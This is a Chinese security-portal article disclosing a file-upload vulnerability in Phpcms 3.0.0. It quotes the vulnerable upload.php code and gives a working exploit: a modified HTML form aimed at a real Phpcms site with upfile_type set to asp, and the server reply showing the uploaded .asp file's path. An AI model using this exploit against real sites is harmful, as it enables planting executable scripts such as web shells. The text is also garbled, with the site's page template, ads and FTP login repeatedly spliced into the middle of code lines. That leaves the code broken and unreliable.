安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
信息来源:红狼安全小组(www.wolfexp.net,www.crst.com.cn)
文章作者:cooldiyer
Bug find by cooldiyer @ 2006/11/12 17:15
漏洞文件: ads/upload.php、uppic.php

代码如下:
程序代码
require "common.php";
require PHPCMS_ROOT."/class/upload.php";

if(! Phpcms 3.0.0文件上传漏洞大解密_安全中国_中国最大网络安全门户
 
 
安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
$Content$
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");

if($extid==1) {
$upfile_type= "jpg|png|gif";
} elseif ($extid==2) {
$upfile_type= "swf";
}

if($action=='upload')
{
$fileArr = array(
'file'=>$uploadfile,
'name'=>$uploadfile_name,
'size'=>$uploadfile_size,
'type'=>$uploadfile_type
);

$showname= $fileArr['name'];
$tmpext=strtolower(fileext($showname));
$tmpfilesize=$fileArr['size'];
$savepath = 'ads/'.$upfile_dir.'/'.date('Ym');
$f->create(PHPCMS_ROOT."/".$savepath);
$up = new upload($fileArr,'',$savepath,$upfile_type,1,$upfile_size);
...........

很显然,upfile_type变量过滤不够严格,可以自定义上传类型,实践得知可以上传除*.php和*.php3的其它任意后缀的文件,
因为PHPCMS_ROOT."/class/upload.php"这个文件经过Zend加密,所以无法直接分析。
程序代码 程序代码
if(! Phpcms 3.0.0文件上传漏洞大解密_安全中国_中国最大网络安全门户
 
 
安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
$Content$
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");

Phpcms 3.0.0文件上传漏洞大解密_安全中国_中国最大网络安全门户
 
 
安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
$Content$
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
userid是靠session获取的,所以注册个用户,登录后,开始利用漏洞,修改后的上传页面如下
程序代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>上传</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="generator" content="Phpcms ">
<link href="/templates/default/skins/default/style.css" rel="stylesheet" type="text/css">
</head>

<body>
<script language="javascript" type="text/javascript">
<!--
function checkform()
{
if(document.getElementById("uploadfile").value=='') { alert("请选择要上传的文件!"); return false;}
}
//-->
</script>
<table cellpadding="0" cellspacing="0" border="0" width="100%" height="5">
<tr>

<td ></td>
</tr>
</table>
<form name="upload" method="post"
action="http://www.phpcms.cn/ads/upload.php?action=upload&url=&upfile_type=asp" enctype="multipart/form-data" onSubmit="return checkform();">
<table cellpadding="2" cellspacing="1" class="tableborder">
<tr>
<th>文件上传</th>
</tr>
<tr>
<td class="tablerow" height="30">
选择:<input name="uploadfile" type="file" id="uploadfile" size="20" />

<input type="hidden" name="MAX_FILE_SIZE" value="" />
<input type="hidden" name="channelid" value="0" />
<input type="submit" name="submit" value=" 上传 ">
</td>
</tr>
</table>
</form>

</body>
</html>

现在可以上传asp文件了,用登录后的窗口打开这个文件(保存session),上传的文件名后缀跟form表单里action属性的upfile_type变量是一样的,上传后返回页面源代码如下:

程序代码
<script>
var ctl_hurl=window.opener.document.getElementById("");
var ctl_upbutten=window.opener.document.getElementById("upload");
ctl_hurl.value="ads/uploadfile/200612/20061206054522605.asp";
ctl_hurl.style.background="white";
self.close();
</script>

还有uppic.php也有同样漏洞,漏洞代码如下:
程序代码
include PHPCMS_ROOT."/class/upload.php";
$fileArr = array('file'=>$uploadfile,'name'=>$uploadfile_name,'size'=>$uploadfile_size,'type'=>$uploadfile_type);

$uploadfiletype = $uploadfiletype ? $uploadfiletype : Phpcms 3.0.0文件上传漏洞大解密_安全中国_中国最大网络安全门户
 
 
安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
$Content$
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
PHPCMS['uploadfiletype'];
$savepath = $uploaddir ? $channeldir."/".$uploaddir."/".date("Ym")."/" : Phpcms 3.0.0文件上传漏洞大解密_安全中国_中国最大网络安全门户
 
 
安全中国首页 > 新闻中心 > 网站程序漏洞
 

Phpcms 3.0.0文件上传漏洞大解密

更新时间:2007-8-19 0:40:58
责任编辑:池天
热 点:
$Content$
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班

 
PHPCMS['uploaddir']."/".date("Ym")."/";

利用原理一样................... -:)

 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 
学习软件编程开发技术,推荐加入以下软件编程培训班:
易语言软件编程培训班(简单易学)  Delphi软件编程培训班  VC++软件编程培训班
VB软件编程培训班  JAVA高端编程就业研发班

学习网站开发制作技术,推荐加入以下网站开发培训班:
ASP.net网站开发项目实战班  ASP语言网站建设培训班

学习网络安全入侵防护技术,推荐加入以下技术培训班:
大型网络安全入侵防护班  网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术(网管),推荐加入以下培训班:
大型网吧技术管理人才特训班  Linux网络嵌入架构工程师培训班

学习专项特殊技术,推荐加入以下专项技术培训班:
软件与游戏外挂脱壳破解班(逆向工程)  赚钱王道-网赚技能培训班  Flash动画设计师就业特训班